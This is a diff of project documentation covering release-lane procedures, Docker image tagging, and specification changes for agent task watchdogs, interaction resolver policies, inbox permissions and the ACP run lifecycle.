- publishes `YYYY.MDD.P` under npm dist-tag `latest`
|
||||
- creates git tag `vYYYY.MDD.P`
|
||||
- creates or updates the GitHub Release from `releases/vYYYY.MDD.P.md`
|
||||
- dispatches [`docker.yml`](../.github/workflows/docker.yml) at that tag to
|
||||
publish `:latest` and the versioned stable images
|
||||
- creates or updates the GitHub Release from the resolved notes file
|
||||
- for master-side beta notes, pushes a `release-notes/v<version>-canonicalize`
|
||||
branch that `git mv`s them to `releases/vYYYY.MDD.P.md` — open and merge
|
||||
its PR to restore the canonical layout
|
||||
|
||||
## Docker Image Tags
|
||||
|
||||
[`docker.yml`](../.github/workflows/docker.yml) publishes both the self-hosted
|
||||
image and the `-cloud` variant with the same lane mapping:
|
||||
|
||||
| Build ref | Tags |
|
||||
| --- | --- |
|
||||
| `master` push | `:canary`, `:sha-<short>` |
|
||||
| `nightly/v*` tag | `:nightly`, `:sha-<short>` |
|
||||
| `beta/v*` tag | `:beta`, `:sha-<short>` |
|
||||
| `v*` tag (stable) | `:latest`, `:YYYY.MDD.P`, `:YYYY.MDD`, `:sha-<short>` |
|
||||
|
||||
Lane tags are pushed by release workflows using `GITHUB_TOKEN`, and GitHub
|
||||
suppresses push-triggered workflow runs for those pushes. The release jobs
|
||||
therefore dispatch `docker.yml` explicitly at the new tag ref; the tag
|
||||
mapping keys off `github.ref` either way.
|
||||
|
||||
## Local Commands
|
||||
|
||||
@@ -123,6 +299,24 @@ The workflow:
|
||||
./scripts/release.sh canary --dry-run
|
||||
```
|
||||
|
||||
### Preview a nightly locally
|
||||
|
||||
Requires HEAD to be a commit that already shipped a canary (it must carry a
|
||||
`canary/v*` tag):
|
||||
|
||||
```bash
|
||||
./scripts/release.sh nightly --dry-run
|
||||
```
|
||||
|
||||
### Preview a beta locally
|
||||
|
||||
Requires HEAD to be a commit that already shipped a nightly (it must carry a
|
||||
`nightly/v*` tag):
|
||||
|
||||
```bash
|
||||
./scripts/release.sh beta --dry-run
|
||||
```
|
||||
|
||||
### Preview a stable locally
|
||||
|
||||
```bash
|
||||
@@ -147,6 +341,12 @@ Stable changelog files live at:
|
||||
|
||||
Canaries do not get changelog files.
|
||||
|
||||
The `draft_stable_notes` job seeds a deterministic skeleton (grouped
|
||||
commit subjects) on the `release-notes/v<beta-version>` branch at beta
|
||||
publish; the flows below turn that skeleton into narrative release notes
|
||||
during the soak. Run them against the draft branch's
|
||||
`releases/beta/v<beta-version>.md` and push to the notes PR.
|
||||
|
||||
Recommended local generation flow:
|
||||
|
||||
```bash
|
||||
@@ -185,9 +385,15 @@ Automated browser smoke is also available:
|
||||
|
||||
```bash
|
||||
gh workflow run release-smoke.yml -f paperclip_version=canary
|
||||
gh workflow run release-smoke.yml -f paperclip_version=nightly
|
||||
gh workflow run release-smoke.yml -f paperclip_version=beta
|
||||
gh workflow run release-smoke.yml -f paperclip_version=latest
|
||||
```
|
||||
|
||||
The nightly lane runs this same suite automatically against its candidate
|
||||
before publishing, and the beta lane runs it against the published beta as
|
||||
post-publish verification.
|
||||
|
||||
Minimum checks:
|
||||
|
||||
- `npx paperclipai@canary onboard` installs
|
||||
@@ -224,6 +430,40 @@ Instead:
|
||||
3. wait for the next automatic canary
|
||||
4. rerun smoke testing
|
||||
|
||||
### If the nightly skipped or failed
|
||||
|
||||
A skipped nightly is working as designed — the job summary names the reason
|
||||
(no new green candidate, candidate already shipped, or red smoke). Nothing was
|
||||
published, so there is nothing to clean up.
|
||||
|
||||
To recover after fixing the cause, either wait for the next scheduled run or
|
||||
force one: dispatch `release.yml` with `channel: nightly` (optionally pinning
|
||||
`source_version` to a specific canary).
|
||||
|
||||
If the nightly published to npm but the tag push or Docker dispatch failed,
|
||||
push the `nightly/v*` tag manually and run `docker.yml` at that tag.
|
||||
|
||||
### If a tag push is rejected with a workflows-permission error
|
||||
|
||||
GITHUB_TOKEN may not create refs that point at commits which modify workflow
|
||||
files when the run was started by dispatch or schedule (push-triggered runs
|
||||
are exempt, which is why canary tags on the same commit succeed). The npm
|
||||
publish is already complete and correct when this happens. The failed job's
|
||||
summary contains the exact recovery commands: create and push the tag with
|
||||
maintainer credentials, then dispatch `docker.yml` at the tag (and for
|
||||
stable, run `create-github-release.sh`). This only occurs when a
|
||||
release-infrastructure commit itself becomes a promotion source.
|
||||
|
||||
### If a beta looks bad during soak
|
||||
|
||||
Do not promote it to stable. Fix forward: land the fix on `master`, let it
|
||||
ship through canary and nightly, and promote a new beta. The soak clock
|
||||
starts over for the new beta.
|
||||
|
||||
If the published beta is actively harmful to beta users, move the `beta`
|
||||
dist-tag back to the previous beta version with `npm dist-tag add` per
|
||||
package, and re-point the `:beta` Docker tags at the previous beta's images.
|
||||
|
||||
### If stable npm publish succeeds but tag push or GitHub release creation fails
|
||||
|
||||
This is a partial release. npm is already live.
|
||||
@@ -252,5 +492,6 @@ Then fix forward with a new stable release.
|
||||
- [`scripts/release-package-map.mjs`](../scripts/release-package-map.mjs)
|
||||
- [`scripts/create-github-release.sh`](../scripts/create-github-release.sh)
|
||||
- [`scripts/rollback-latest.sh`](../scripts/rollback-latest.sh)
|
||||
- [`doc/RELEASE-CHECKLIST.md`](RELEASE-CHECKLIST.md)
|
||||
- [`doc/PUBLISHING.md`](PUBLISHING.md)
|
||||
- [`doc/RELEASE-AUTOMATION-SETUP.md`](RELEASE-AUTOMATION-SETUP.md)
|
||||
+99
-27
@@ -37,7 +37,7 @@ These decisions close open questions from `SPEC.md` for V1.
|
||||
| Visibility | Company-scoped visibility: board + all in-company agents can see all work objects by default; public/private deployment flags affect external exposure only and do **not** imply project/issue privacy |
|
||||
| Communication | Tasks + comments only (no separate chat system) |
|
||||
| Task ownership | Single assignee; atomic checkout required for `in_progress` transition |
|
||||
| Task watchdogs | A task watchdog is an explicitly configured, issue-subtree-scoped verification and recovery capacity. It may restore live task paths inside the watched subtree and resolve only eligible task-level plan confirmations; it is not board authority, active-run output monitoring, or general liveness recovery. |
|
||||
| Task watchdogs | A task watchdog is an explicitly configured, issue-subtree-scoped verification and recovery capacity. It may restore live task paths inside the watched subtree; for issue-thread interaction resolution it is an ordinary agent subject to the same audience and containment checks, not board authority, active-run output monitoring, or general liveness recovery. |
|
||||
| Recovery | Liveness/watchdog recovery preserves explicit ownership: retry lost execution continuity where safe, otherwise open visible source-scoped recovery actions by default, use issue-backed recovery only for independent repair work, or require human escalation (see `doc/execution-semantics.md`) |
|
||||
| Agent adapters | Built-in `process`, `http`, local CLI/session adapters, and OpenClaw gateway support; external adapters can also be loaded through the adapter plugin flow |
|
||||
| Plugin framework | Local/self-hosted early plugin runtime is in scope; cloud marketplace and packaged public distribution remain out of scope |
|
||||
@@ -258,6 +258,10 @@ Invariants:
|
||||
- single assignee only
|
||||
- task must trace to company goal chain via `goal_id`, `parent_id`, or project-goal linkage
|
||||
- `in_progress` requires assignee
|
||||
- an `in_review -> done | cancelled` verdict is authorized against the current review policy while the issue row is locked; a policy change in the same request or a concurrent request cannot relax that verdict gate
|
||||
- accepting or rejecting the review-confirmation interaction locks the issue row before resolving the interaction and reauthorizes against the current review policy in that transaction
|
||||
- while a restrictive review policy is stored, changing it requires an actor who is allowed by that row-locked policy
|
||||
- the transition into `in_review` and its requester activity record commit atomically, including transitions without an explicit review-interaction binding
|
||||
- terminal states: `done | cancelled`
|
||||
|
||||
## 7.7 `issue_comments`
|
||||
@@ -506,9 +510,15 @@ V1 non-terminal liveness rule:
|
||||
- external waits are durable only when persisted as a bounded monitor/scheduled wake, a first-class blocker with a named owner and action, or healthy delegated child work connected by a blocker edge when the source must wait; parent/child structure alone is not a wait path
|
||||
- unmanaged shell jobs, detached sessions, adapter child processes, local polling loops, PIDs, logs, and comments are evidence rather than liveness; a managed runtime service counts only when paired with a persisted monitor, wake, blocker, or delegated issue that owns the next check
|
||||
- heartbeat finalization evaluates liveness from persisted Paperclip state; an issue cannot remain healthy `in_progress` solely because the exiting heartbeat started a local/background watcher
|
||||
- invalid external-wait recovery queues at most one normal-model continuation per source-state fingerprint, then requires a real blocker or explicit recovery action instead of repeating equivalent recovery wakes; new durable source activity may establish a new fingerprint
|
||||
- a continuation cancelled as `issue_continuation_waiting_on_review` first converts a current typed wait target into a first-class wait; without a current target it is classified as `deliberate_wait_without_target` and gives the invokable original owner five normal-model disposition-repair attempts (immediate, then after 60, 120, 240, and 480 seconds, with up to 10 percent jitter)
|
||||
- disposition repair revalidates blockers, children, interactions, approvals, monitors, execution stages, queued wakes, active runs, work products, owner invokability, budgets, and governance before every attempt; the attempt bound is keyed by durable source state, so comments or equivalent parked prose do not reset it while durable source-state changes may establish a new fingerprint
|
||||
- backwards-compatible upgrades count consecutive historical `issue_continuation_waiting_on_review` cancellations for the unchanged accepted-interaction source state against the same five-attempt disposition-repair ceiling; missing pre-upgrade recovery-action rows do not reset the budget
|
||||
- the source fingerprint, source-attempt count, next due time, source owner, and return owner persist in the recovery action; startup and periodic reconciliation resume that exact lineage without duplicate wakes, fold it when a current typed wait appears, and reschedule or escalate an expired action that has no live scheduled run
|
||||
- source-attempt exhaustion opens one source-scoped manager recovery action without changing the source assignee; manager runs get five separate persisted attempts on the same immediate, 60, 120, 240, and 480 second bounded-delay schedule, then escalate visibly to the board when exhausted
|
||||
- an active recovery action counts as a live source or blocker-chain path only while its owner has a live run, queued wake, scheduled retry, typed wait, or explicit board escalation; source and blocker projections consume the same nested recovery-path result
|
||||
- when Paperclip cannot safely infer the next action, it surfaces the problem through visible blocked/recovery work instead of silently completing or reassigning work
|
||||
- explicit recovery actions are the liveness primitive; source-scoped actions are the default form, issue-backed recovery is a fallback for independent repair work or safety boundaries, and comments alone are evidence rather than a healthy liveness path
|
||||
- recovery-action ownership is separate from source-task ownership: automatic repair and manager escalation preserve the source `assigneeAgentId`; reassignment requires an explicit decision or a policy-defined serious failure
|
||||
- source-scoped recovery routing is cause-keyed: lost processes, missing successful-run dispositions, and output-inactivity terminations retry the original agent when invokable; provider-quota failures create/reuse a scheduled wait-recovery monitor without a takeover wake; workspace validation and unknown causes route to the manager ladder
|
||||
- recovery-scoped wakes replace the normal deliverable execution contract with a cause-specific recovery contract, and successful repair returns the issue to the recorded original owner by default while recording `handed_back` versus `owner_completed`
|
||||
|
||||
@@ -556,7 +566,7 @@ Detailed ownership, execution, blocker, active-run watchdog, crash-recovery, and
|
||||
| Set company budget | yes | no |
|
||||
| Set subordinate budget | yes | yes (manager subtree only) |
|
||||
| Manage responsible user's inbox state | yes | yes (default-open policy) |
|
||||
| Manage another user's inbox state | yes | scoped `inbox:manage` grant |
|
||||
| Manage another user's inbox state | yes | saved target-user opt-in or scoped `inbox:manage` grant |
|
||||
| Set work-object visibility (issue/project) | no | no (pro gate) |
|
||||
|
||||
### 9.3.1 Shared default-open issue writes
|
||||
@@ -580,10 +590,11 @@ may wake the target assignee, including an explicit `resume: true` comment on a
|
||||
the normal agent rewake throttle; comment presentation cannot give it human
|
||||
wake privileges. Agent issue comments and updates require a persisted heartbeat
|
||||
run bound to the authenticated agent and company; missing, invalid, or mismatched
|
||||
run context fails closed before mutation. A run may attempt at most 20 cross-issue comments or issue
|
||||
updates across the shared counter. The server records each attempt with its
|
||||
source issue, target issue, run, count, and rollout mode, and fails closed with
|
||||
the cap in the error once enforcement is active. Assignee self-comments do not
|
||||
run context fails closed before mutation. A run may attempt at most 20 cross-issue comments, issue
|
||||
updates, or issue-thread interaction resolutions across one shared counter. The
|
||||
server records each attempt with its source issue, target issue, run, count, and
|
||||
rollout mode, and fails closed with the cap in the error once enforcement is
|
||||
active. Writes to the run's own source issue are not counted. Assignee self-comments do not
|
||||
wake the assignee, and a non-assignee comment cannot mint a mention grant.
|
||||
|
||||
Agent-authored issue comments persist the responsible user derived from the
|
||||
@@ -624,7 +635,7 @@ The approved term set is:
|
||||
| Work-object visibility | All issues and projects in-company are visible to board and agents | Project/issue ACLs and reviewer-only channels |
|
||||
| Tool/secret policy | Secret refs, log redaction, and adapter-level command/webhook restrictions | Tool allowlists with centralized policy evaluation |
|
||||
| Company skills | Open to authenticated company agents; core enforces invariants and any stored restriction policy | Paperclip EE policy editor, protected-skill controls, presets, simulation, and policy audit UX |
|
||||
| Inbox management | Responsible agent may archive/unarchive its responsible user's Mine items under a default-open user policy; cross-user access requires `inbox:manage`; all mutations are audited | Policy administration UX, organization presets, simulations, bulk controls, and richer audit/reporting surfaces |
|
||||
| Inbox management | Responsible agent may archive/unarchive its responsible user's Mine items under a default-open user policy; explicit cross-user access requires saved target-user opt-in or `inbox:manage`; all mutations are audited | Policy administration UX, organization presets, simulations, bulk controls, and richer audit/reporting surfaces |
|
||||
| Escalation | Escalate from agent to manager to board; board approval/budget gates remain authoritative | Escalation routing and SLA windows |
|
||||
|
||||
## 9.7 Recommended first-slice implementation order
|
||||
@@ -656,6 +667,66 @@ approval is created. The legacy fields `protectedAgent.requiresApproval` and
|
||||
aliases for the same hard block, but API denial copy must describe the block and
|
||||
administrator remediation rather than promising a nonexistent approval step.
|
||||
|
||||
### 9.8.1 Issue-thread interaction resolver contract
|
||||
|
||||
Issue-thread interactions are coordination records, not grants of authority. Every
|
||||
interaction kind defaults to resolver policy `anyone` when the create request omits
|
||||
`resolverPolicy`. Restrictions are opt-in.
|
||||
|
||||
Canonical resolver policies are:
|
||||
|
||||
- `anyone`: any authenticated actor in the interaction's company who can read the
|
||||
issue and use the normal resolution route. For agents this includes the creator
|
||||
agent and the creating/source run.
|
||||
- `not_creator`: the explicit independent-review policy. It excludes the creator
|
||||
agent and creating/source run while otherwise using the ordinary agent resolver
|
||||
path.
|
||||
- `human_only`: only an authorized human/board actor may resolve the interaction.
|
||||
|
||||
`board_or_agents` and `board_only` are deprecated migration and API-input aliases.
|
||||
For new writes they normalize to `anyone` and `human_only`, respectively. API reads
|
||||
return canonical requested/effective policies, compatibility aliases, and immutable
|
||||
provenance. The persisted provenance is `explicit`, `inherited`, or
|
||||
`legacy_inherited_restriction`; the effective-policy source is `requested`,
|
||||
`company_cap`, or `governed_action`.
|
||||
|
||||
Historical rows predate explicit-vs-inherited provenance. Migration must never
|
||||
silently widen an ambiguous pending card: legacy `board_or_agents` rows retain the
|
||||
old creator-excluding behavior as canonical `not_creator`, legacy `board_only` rows
|
||||
become `human_only`, and both are marked `legacy_inherited_restriction`. Resolved
|
||||
outcomes and resolver attribution are immutable.
|
||||
|
||||
An explicit named addressee and a company-configured cap may narrow the effective
|
||||
audience. A cap never widens the requested audience. Tool-action confirmations and
|
||||
other hard-governed action cards remain `human_only` (or move to the formal approval
|
||||
system) regardless of a requested open audience.
|
||||
|
||||
Surfaces that offer a resolution must state the effective audience before the
|
||||
operator acts, from server metadata rather than a client-side policy inference.
|
||||
Issue-thread cards read it from the interaction snapshot; attention rows read it
|
||||
from the feed item's `resolverAudience` (canonical requested/effective policy,
|
||||
effective-policy source, provenance, and the addressee/creator identities the
|
||||
evaluator compares against), because a collapsed row carries decision verbs
|
||||
before the interaction itself is fetched. A failed resolution keeps the server's
|
||||
denial reason in visible, assertively announced feedback and names who may
|
||||
respond; an audience denial is permanent, so it must not degrade to a retry
|
||||
prompt. Neither surface may enable or disable a control on its own authority.
|
||||
|
||||
Every resolution remains company-scoped, run-attributed for agent actors,
|
||||
low-trust/task-bridge contained, target-current, and exact-once. Target staleness,
|
||||
supersession, continuation idempotency, and activity attribution remain mandatory.
|
||||
An open audience is not an uncapped one: when an agent run resolves an interaction
|
||||
on an issue other than its own source issue, the resolution is a cross-issue
|
||||
mutation and consumes the per-run cross-issue influence budget in §9.3, charged
|
||||
after audience authorization and before the interaction mutation, child tasks,
|
||||
continuation, tool action, or wake. Same-issue resolutions and board/user
|
||||
resolutions are outside that counter.
|
||||
Accepting or answering an interaction records a response only: suggested-task
|
||||
creation, provider/tool calls, deployment, spend, hiring, secrets, execution-policy
|
||||
decisions, and every other downstream effect must re-run its own authorization and
|
||||
approval checks. Mislabeling a governed action as an open interaction grants no
|
||||
downstream capability.
|
||||
|
||||
## 9.9 Task Watchdog Authority Contract
|
||||
|
||||
A task watchdog is a scoped execution capacity for a configured watchdog agent on one watched issue subtree. It is not a separate principal, does not inherit board auth, and does not expand the selected agent's company boundary. The server must enforce the watchdog contract from persisted watchdog configuration and run context; custom instructions and prompt text can narrow the mandate but cannot expand it.
|
||||
@@ -675,7 +746,8 @@ Within the watched subtree, a watchdog run may perform only mutations that resto
|
||||
- reopen `done` or `cancelled` included issues only with explicit resume metadata and an audit comment when evidence shows the stopped disposition is wrong or incomplete
|
||||
- add, replace, or clear blockers on included issues when the blocker target is in the same company and the change makes the waiting path more accurate
|
||||
- set or refresh a one-shot monitor on an included issue when the current assignee owns the future check
|
||||
- accept or reject eligible task-level plan confirmations as defined below
|
||||
- resolve issue-thread interactions through the ordinary resolver-audience path
|
||||
when the watchdog agent otherwise has issue access and the effective policy allows it
|
||||
- update the reusable watchdog issue itself to `done`, `in_review`, or `blocked` with the evidence for the watchdog decision
|
||||
|
||||
Every watchdog-triggered mutation must write activity with the watchdog id, source issue id, watchdog issue id when present, run id, and stop fingerprint. Mutations still use the normal status-transition, blocker, assignment, budget, and company-boundary guards.
|
||||
@@ -713,19 +785,18 @@ When the safe next action needs one of these disallowed mutations, the watchdog
|
||||
|
||||
### Interaction resolution
|
||||
|
||||
The initial V1 watchdog resolver may resolve exactly one interaction family: `request_confirmation` interactions that are eligible task-level plan confirmations. The watchdog may accept a coherent eligible plan or reject/request changes with a reason. It may not resolve `request_checkbox_confirmation`, `ask_user_questions`, `suggest_tasks`, linked approvals, board approvals, or ad hoc document comments.
|
||||
A task-watchdog run has no special resolver audience, plan-purpose marker, or
|
||||
interaction-kind allowlist. The task-watchdog context neither widens nor
|
||||
categorically removes the selected agent's ordinary interaction authority. The
|
||||
same evaluator used for every agent applies `anyone`, `not_creator`, `human_only`,
|
||||
named-addressee, company-cap, company-boundary, run-attribution, low-trust,
|
||||
task-bridge, target-staleness, and exact-once checks.
|
||||
|
||||
A plan confirmation is eligible only when all of these are true:
|
||||
|
||||
- the interaction is pending and belongs to an issue inside the watched subtree, excluding the reusable watchdog issue and its descendants
|
||||
- the interaction target is an `issue_document` with key `plan` on that same issue, and the target revision is still current
|
||||
- the interaction has an explicit plan-approval purpose marker; title text, body prose, or idempotency key shape alone is not enough
|
||||
- accepting the plan authorizes decomposition or task-level continuation inside the watched subtree only
|
||||
- the plan does not request hiring, budget/spend approval, secret access, production deployment, security-sensitive policy changes, legal/compliance decisions, destructive data changes, cross-company work, or any other board-only governed action
|
||||
- no newer board/user comment, document revision, superseding interaction, custom instruction, or issue policy reserves the decision for a human, CTO, Security, or the board
|
||||
- the plan names concrete child/follow-up work, owners or assignee selection criteria, dependencies/blockers, and acceptance criteria clearly enough that decomposition can proceed without further judgment
|
||||
|
||||
If any condition fails, the watchdog must not accept the interaction. It should reject with a reason when the plan is clearly invalid, or leave/escalate the decision when the right owner is a board user, CTO, Security, or another typed approver.
|
||||
Resolving an interaction does not authorize its downstream effect. In particular,
|
||||
an accepted plan still passes normal decomposition/idempotency checks, and a
|
||||
governed action still requires its own typed reviewer, permission, or formal
|
||||
approval. A watchdog may not use an open coordination response to bypass any item
|
||||
in the disallowed-mutations list above.
|
||||
|
||||
### Downstream acceptance criteria
|
||||
|
||||
@@ -734,8 +805,8 @@ Implementation, security, UI, and QA work for task watchdogs must prove these co
|
||||
- server tests deny cross-company watched issues, watchdog agents, watchdog issues, blockers, interactions, and assignment targets
|
||||
- server tests deny paused, terminated, pending-approval, budget-blocked, or otherwise uninvokable watchdog agents
|
||||
- watchdog-scoped mutations can touch only the watched subtree and the reusable watchdog issue, with activity records for each mutation
|
||||
- interaction tests prove only eligible `request_confirmation` plan confirmations are accepted or rejected, and all other interaction kinds remain unavailable to watchdogs
|
||||
- plan-confirmation tests cover stale document revisions, missing purpose markers, outside-subtree targets, governed actions, newer user comments, and explicit human/CTO/Security reservations
|
||||
- interaction tests prove watchdog runs use the same resolver policy as ordinary agents, without a watchdog-only kind or purpose-marker exception
|
||||
- interaction tests cover `anyone`, `not_creator`, `human_only`, named addressees, company caps, stale targets, governed actions, newer user comments, low-trust/task-bridge containment, and cross-company denial
|
||||
- scheduler tests prove live runs, queued wakes, and scheduled retries suppress watchdog wakeups, while terminal, cancelled, blocked, and review leaves are still verified when the subtree has no live path
|
||||
- tests prove `task_watchdog` origin issues and descendants are excluded from scans so watchdogs do not trigger themselves
|
||||
- recovery-batch tests prove batches are capped at 3 allowed mutations, applied all-or-nothing, and aborted with recorded evidence when the observed stop fingerprint went stale mid-batch
|
||||
@@ -745,7 +816,7 @@ Implementation, security, UI, and QA work for task watchdogs must prove these co
|
||||
- prompt/context tests prove custom instructions are appended after non-overridable safety constraints and cannot expand authority
|
||||
- QA validates a full create/edit/remove/run/reuse flow with screenshots for UI changes
|
||||
|
||||
No unresolved policy decision blocks implementation once CTO and Security accept this contract. Deliberately deferred and disallowed for the first implementation: resolving interaction kinds beyond eligible plan confirmations, letting watchdogs cancel active runs, approving board/governance actions, mutating outside the watched subtree, or allowing watchdog agents to modify their own watchdog configuration. Any expansion requires a new product/security review.
|
||||
No unresolved policy decision blocks implementation once CTO and Security accept this contract. Deliberately deferred and disallowed for the first implementation: letting watchdogs cancel active runs, approving board/governance actions, mutating outside the watched subtree, or allowing watchdog agents to modify their own watchdog configuration. Any expansion of those capabilities requires a new product/security review.
|
||||
|
||||
## 9.10 Company Skill Policy Contract
|
||||
|
||||
@@ -870,7 +941,7 @@ Core authorization follows these rules:
|
||||
- Board users may archive or unarchive inbox entries for users in the company.
|
||||
- An agent may manage the responsible user's inbox without an explicit grant when the authenticated run resolves that user and the user's inbox-agent policy permits the agent. This is the default-open path.
|
||||
- A user may set inbox-agent policy to `disabled` or `allowlist`. Policy restrictions override the default-open path, and low-trust agents are denied.
|
||||
- An agent targeting any user other than its resolved responsible user requires an explicit `inbox:manage` grant. Grants may be unscoped or constrained by `scope.userIds`.
|
||||
- An agent targeting any user other than its resolved responsible user requires either a materialized target-user policy that permits that agent (`open` or matching `allowlist`) or an explicit `inbox:manage` grant. The implicit default-open policy for a missing row remains responsible-user-only, so it never becomes a blanket cross-user grant. Grants may be unscoped or constrained by `scope.userIds` and act as administrative overrides, including over a disabled target-user policy.
|
||||
- Archive and unarchive operations are company-scoped, reversible, and activity logged with actor, agent, run, target user, target-resolution source, and policy mode.
|
||||
- New qualifying issue activity may invalidate an archive so the item resurfaces; archival is not a substitute for resolving or closing work.
|
||||
- Viewing an issue may update its per-user read receipt, but read receipts alone do not enroll the issue in Mine. Mine participation begins with a user-authored comment, issue creation/assignment, or another audited user mutation; explicit product actions such as manually running a routine may record an audited inbox touch.
|
||||
@@ -1032,7 +1103,8 @@ Dashboard payload must include:
|
||||
|
||||
The current app also exposes V1-supporting surfaces for:
|
||||
|
||||
- issue thread interactions (`suggest_tasks`, `ask_user_questions`, `request_confirmation`)
|
||||
- company-scoped summary slots for projects, the workspaces overview, project workspaces, and individual execution workspaces; execution-workspace slots are keyed by execution workspace id so a new workspace never inherits another workspace's summary
|
||||
- issue thread interactions (`suggest_tasks`, `ask_user_questions`, `request_confirmation`, `request_checkbox_confirmation`, `request_item_verdicts`) with the open-default resolver contract in §9.8.1
|
||||
- issue approvals, issue references/search, labels, read state, inbox/archive state, and work products
|
||||
- company search through `GET /companies/:companyId/search` plus agent-oriented bulk extraction through
|
||||
`GET /companies/:companyId/search/extract`; extraction accepts a server-escaped literal `contains`, optional
|
||||
@@ -1241,7 +1313,7 @@ Required UX behaviors:
|
||||
|
||||
## 15.1 Environment
|
||||
|
||||
- Node 20+
|
||||
- Node 24.11+
|
||||
- `DATABASE_URL` optional
|
||||
- if unset, auto-use embedded PostgreSQL under `~/.paperclip/instances/default/db`
|
||||
|
||||
|
||||
@@ -101,17 +101,17 @@ On wake, the watchdog agent reads a fixed default mandate plus your custom instr
|
||||
|
||||
- Treat every stopped leaf as a **claim** that must be verified against comments, documents, work products, screenshots, tests, blockers, and review state. Do not accept "I could not" or "waiting for approval" as automatically valid.
|
||||
- Leave genuinely-complete leaves alone, with a short note on what was checked.
|
||||
- If a leaf is not genuinely complete, restore a live path: reopen the issue, reassign, comment actionable instructions, create a follow-up child issue inside the watched subtree, or accept an eligible task-level plan confirmation.
|
||||
- If a leaf is not genuinely complete, restore a live path: reopen the issue, reassign, comment actionable instructions, create a follow-up child issue inside the watched subtree, or resolve an interaction that the ordinary agent audience permits.
|
||||
- If the blocker is real, leave a valid waiting disposition that names the unblock owner and the next action.
|
||||
|
||||
The mandate also enforces safety constraints that custom instructions **cannot override**:
|
||||
|
||||
- Stay inside the watched subtree. No cross-company mutations, no mutations outside the watched issue and its non-watchdog descendants.
|
||||
- No impersonating board-only approvals, accepting spend or hiring decisions, accepting security-sensitive interactions, or bypassing execution-policy stages that require a typed reviewer or approver.
|
||||
- No impersonating formal approvals, accepting spend or hiring decisions, using an interaction response as downstream authority, or bypassing execution-policy stages that require a typed reviewer or approver.
|
||||
- No creating another watchdog for the watched subtree. No waking itself. Exactly one reusable review task per watched issue.
|
||||
- Custom instructions can narrow focus or veto specific shortcuts. They cannot grant authority the server does not already give the watchdog.
|
||||
|
||||
The formal authority contract (the full list of allowed and disallowed mutations, and the eligibility test for accepting plan confirmations) is in [`doc/SPEC-implementation.md`](SPEC-implementation.md) §9.9.
|
||||
The formal authority contract (the full list of allowed and disallowed mutations, plus the ordinary interaction resolver contract) is in [`doc/SPEC-implementation.md`](SPEC-implementation.md) §§9.8.1–9.9.
|
||||
|
||||
### Writing custom instructions
|
||||
|
||||
@@ -119,11 +119,11 @@ Custom instructions are most useful when they tell the watchdog what evidence to
|
||||
|
||||
> Before accepting any leaf as done, check that there is a corresponding green CI run linked in the comments. If there isn't, reopen the leaf and ask for one.
|
||||
|
||||
> Do not accept a `request_confirmation` plan that proposes more than five subtasks without first asking me to review. Leave the issue in review and ping me.
|
||||
> When an interaction is `not_creator` or `human_only`, preserve that restriction. Do not treat the watchdog role as an override.
|
||||
|
||||
> If a leaf is blocked on the marketing team, accept the wait but make sure the unblock owner is named in the blocker reason.
|
||||
|
||||
What custom instructions cannot do: grant authority outside the watched subtree, approve board-level decisions, expand the interaction kinds the watchdog can resolve, or override safety constraints. The server enforces this regardless of what the instructions say.
|
||||
What custom instructions cannot do: grant authority outside the watched subtree, approve formal governance decisions, widen an interaction's resolver audience, or override safety constraints. The server enforces this regardless of what the instructions say.
|
||||
|
||||
---
|
||||
|
||||
@@ -133,7 +133,7 @@ Every watchdog-originated mutation is gated by a server-side scope check derived
|
||||
|
||||
- mutations on issues outside the watched subtree (parent-chain walk, depth-limited)
|
||||
- mutations on issues whose company id does not match the watchdog's company
|
||||
- attempts to resolve interactions other than eligible task-level `request_confirmation` plan confirmations (see SPEC §9.9 for eligibility)
|
||||
- interaction resolution outside the ordinary effective audience, named addressee, company/issue scope, run-attribution, low-trust/task-bridge, target-staleness, or exact-once checks
|
||||
- changes to the watchdog configuration itself (a watchdog cannot edit its own row or create another watchdog)
|
||||
- direct edits to active-run output or execution-policy decisions that require a typed participant
|
||||
|
||||
@@ -165,7 +165,7 @@ It is **not** the right tool for:
|
||||
|
||||
- monitoring a single running process for silence — that is the silent active-run watchdog, automatic, no configuration
|
||||
- liveness recovery on stalled agent-owned issues without an explicit recovery surface — that is automatic too
|
||||
- board-level approvals or anything security-sensitive — the watchdog cannot resolve those
|
||||
- formal approvals or security-sensitive downstream actions — an interaction response cannot authorize those
|
||||
- replacing a human reviewer on a typed execution-policy stage — the watchdog cannot bypass typed participants
|
||||
|
||||
If what you actually want is "wake me when this is done," use a routine or an issue-thread interaction with `continuationPolicy: wake_assignee`, not a watchdog.
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
# ACP run lifecycle
|
||||
|
||||
This document describes how one ACP agent run starts, runs its turn, and releases
|
||||
its resources. It covers the run coordinator, the six run resources, the
|
||||
settlement order, the server-owned staging lease, and the known limitations.
|
||||
|
||||
## The run coordinator
|
||||
|
||||
One `run()` coordinator owns one attempt. It sequences four steps in a fixed
|
||||
order:
|
||||
|
||||
1. **Startup.** Bring up the runtime and establish the session.
|
||||
2. **Turn.** Run the agent turn against the ready runtime.
|
||||
3. **Settlement.** Release every resource the run acquired.
|
||||
4. **Result reproduction.** Return the external result to the caller.
|
||||
|
||||
The coordinator holds the routing table as data. It reads the startup outcome and
|
||||
routes on it:
|
||||
|
||||
- A build failure or a partial-bridge failure throws from startup. The coordinator
|
||||
replays the startup-rollback entries and rethrows the original error.
|
||||
- A runtime-create, handshake, missing-handle, or configuration failure produces a
|
||||
settle result. The coordinator settles the resources, then reproduces the error
|
||||
result.
|
||||
- Every other startup outcome produces a ready result. The coordinator runs the
|
||||
turn, settles the resources, then reproduces the turn result.
|
||||
|
||||
The coordinator has no catch around the turn: the turn never rejects and returns a
|
||||
typed completion. The coordinator reproduces the external result AFTER settlement,
|
||||
so a caller never observes a result before the run releases its resources.
|
||||
|
||||
## The six run resources
|
||||
|
||||
A run resource ledger holds the resources between acquisition and settlement. The
|
||||
ledger is the single owner. The closed set of run resources is:
|
||||
|
||||
- `acp_runtime` — the composite of the runtime, the session handle, and the child
|
||||
process. `runtime.close()` is the one release boundary for all three.
|
||||
- `staged_runtime` — the workspace and the runtime staged into the sandbox, plus
|
||||
the one-time host-side cleanup of the staged temporary files.
|
||||
- `control_bridge` — the control-plane callback bridge.
|
||||
- `agent_bridge` — the agent process-session bridge.
|
||||
- `managed_home` — the per-run managed-home copy-back hook.
|
||||
- `staging_lease` — the per-session staging lease.
|
||||
|
||||
The host lane acquires only `acp_runtime`. The sandbox lane also acquires the
|
||||
staging and transport resources. Each resource enters the ledger the moment it
|
||||
exists, so the settlement always closes it, even on an early failure.
|
||||
